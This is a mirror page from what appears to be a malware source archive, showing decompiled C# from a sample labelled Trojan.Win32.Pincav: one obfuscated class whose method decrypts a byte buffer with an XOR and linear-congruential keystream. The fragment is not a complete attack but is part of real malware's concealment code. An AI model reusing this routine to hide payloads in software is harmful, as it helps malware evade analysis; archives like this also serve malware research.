mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-26 13:25:26 +00:00
32 lines
1.1 KiB
C#
32 lines
1.1 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type:
|
|||
|
// Assembly: Random, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 29923E1C-4A06-46C3-B41C-690DFD9D7396
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Pincav.cmfl-3fa99ddd788dbbe91390f940f247e68ee6ef463b9a024c2781a0267f9ccc9501.exe
|
|||
|
|
|||
|
internal static class \u0003\u2000
|
|||
|
{
|
|||
|
public static byte[] \u0002(byte[] _param0, byte[] _param1)
|
|||
|
{
|
|||
|
byte num1 = _param0[1];
|
|||
|
int length = _param1.Length;
|
|||
|
byte num2 = (byte) (length + 11 ^ (int) num1 + 7);
|
|||
|
uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3));
|
|||
|
ushort num4 = 0;
|
|||
|
for (int index = 0; index < length; ++index)
|
|||
|
{
|
|||
|
if ((index & 1) == 0)
|
|||
|
{
|
|||
|
num3 = (uint) ((int) num3 * 214013 + 2531011);
|
|||
|
num4 = (ushort) (num3 >> 16);
|
|||
|
}
|
|||
|
byte num5 = (byte) num4;
|
|||
|
num4 >>= 8;
|
|||
|
byte num6 = _param1[index];
|
|||
|
_param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5);
|
|||
|
num2 = num6;
|
|||
|
}
|
|||
|
return _param1;
|
|||
|
}
|
|||
|
}
|